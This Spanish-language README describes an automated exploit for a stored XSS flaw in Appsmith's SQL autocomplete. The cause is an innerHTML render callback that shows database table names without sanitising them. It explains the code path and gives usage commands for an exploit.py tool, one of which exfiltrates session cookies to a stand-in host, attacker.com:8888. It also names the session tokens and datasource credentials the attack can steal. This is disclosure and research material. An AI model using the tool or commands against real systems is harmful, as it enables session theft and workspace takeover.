
Automatizando la explotación de CVE-2026-7299 - Stored XSS mediante Nombres de Tablas/Columnas de Base de Datos en SQL Autocomplete dentro de Appsmith =>1.99. Descubrimiento inicial 30/03/26
Exploit automatizado para una vulnerabilidad de cross-site scripting almacenado en el editor de consultas SQL de Appsmith. Un Developer del espacio de trabajo puede inyectar JavaScript arbitrario a través de nombres de tablas de base de datos que se ejecuta en el navegador de cualquier otro miembro del espacio de trabajo cuando se activa el autocompletado SQL.
Confirmado en Appsmith v1.98 y probablemente afecta a todas las versiones anteriores donde está presente el renderizador personalizado de sugerencias SQL. La vulnerabilidad existe en hintHelpers.ts:165 donde la representación segura predeterminada de sugerencias de CodeMirror (textContent) se sobrescribe con un callback render personalizado que usa innerHTML para mostrar nombres de tablas y columnas de la base de datos sin ninguna desinfección.
PoC básico con alerta:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1!
Exfiltración de cookies a un servidor de callback:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--callback-url http://attacker.com:8888
Payload personalizado:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--custom-payload ''
Si aún no existe una fuente de datos PostgreSQL, el script descubre automáticamente las conexiones o puede proporcionar credenciales:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--db-host postgres --db-name testdb --db-user postgres --db-pass postgres
https://www.youtube.com/watch?v=1RHBYZ2Bp_A
Appsmith es una plataforma low-code de código abierto donde los equipos crean herramientas internas conectando fuentes de datos y escribiendo consultas. El editor de consultas SQL proporciona sugerencias de autocompletado que se completan con los metadatos de tablas y columnas de la base de datos conectada.
La representación de autocompletado en hintHelpers.ts usa un callback render personalizado de CodeMirror:
completion.render = (LiElement, _data, { className, text }) => {
const { hintType, iconBgType, iconText } = getHintDetailsFromClassName(text, className);
LiElement.setAttribute("hinttype", hintType);
LiElement.setAttribute("icontext", iconText);
LiElement.classList.add("cm-sql-hint");
LiElement.classList.add(`cm-sql-hint-${iconBgType}`);
LiElement.innerHTML = text; // <-- nombre de tabla/columna sin desinfectar
};
La representación de sugerencias predeterminada de CodeMirror 5 usa textContent (segura). Appsmith la sobrescribe con innerHTML para agregar clases CSS personalizadas y atributos de íconos para el estilo, pero el contenido de texto real (el nombre de la tabla) se asigna como HTML sin procesar. No existe desinfección en ningún punto del flujo de datos de 8 pasos desde el catálogo de la base de datos hasta la representación en el DOM.
El ataque completo se realiza a través de la interfaz web de Appsmith.
El atacante (un Developer del espacio de trabajo) ejecuta una sentencia CREATE TABLE con un payload XSS como nombre de tabla. PostgresPlugin de Appsmith no realiza ningún filtrado DDL, statement.execute(query) acepta cualquier SQL válido, incluyendo DDL.
CREATE TABLE "" (id serial primary key);
Cualquier otro miembro del espacio de trabajo abre el editor de consultas SQL para la misma fuente de datos y comienza a escribir una consulta. El menú desplegable de autocompletado aparece con sugerencias de nombres de tablas obtenidas de los metadatos de la base de datos. El nombre de la tabla maliciosa se representa a través de innerHTML, ejecutando el payload JavaScript en la sesión del navegador de la víctima.
El XSS se ejecuta en el contexto de la aplicación Appsmith con la sesión de la víctima. Un atacante puede robar cookies de sesión (XSRF-TOKEN, SESSION), exfiltrar credenciales de fuentes de datos o realizar llamadas API como la víctima. Si la víctima es un Administrador, el atacante escala al control total del espacio de trabajo.
PostgreSQL pg_catalog (table_name, column_name)
-> PostgresPlugin.getStructure() [sin desinfección]
-> DatasourceStructure Java POJO [sin desinfección]
-> REST API /api/v1/datasources/{id}/structure [sin desinfección]
-> Redux state.entities.datasources [sin desinfección]
-> getAllDatasourceTableKeys selector [sin desinfección]
-> SqlHintHelper.setDatasourceTableKeys() [sin desinfección]
-> CodeMirror hint.sql() completions [sin desinfección]
-> LiElement.innerHTML = text [XSS]
No hay desinfección presente, lo que hace que el payload se renderice en innerHTML y se ejecute en el DOM una vez que lo llame el renderizador de autocompletado.
app/client/src/components/editorComponents/CodeEditor/hintHelpers.ts:165Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsela solo contra sistemas que posea o para los que tenga permiso explícito por escrito. No me hago responsable de ningún uso indebido o daño causado por esta herramienta.
¡Feliz hacking!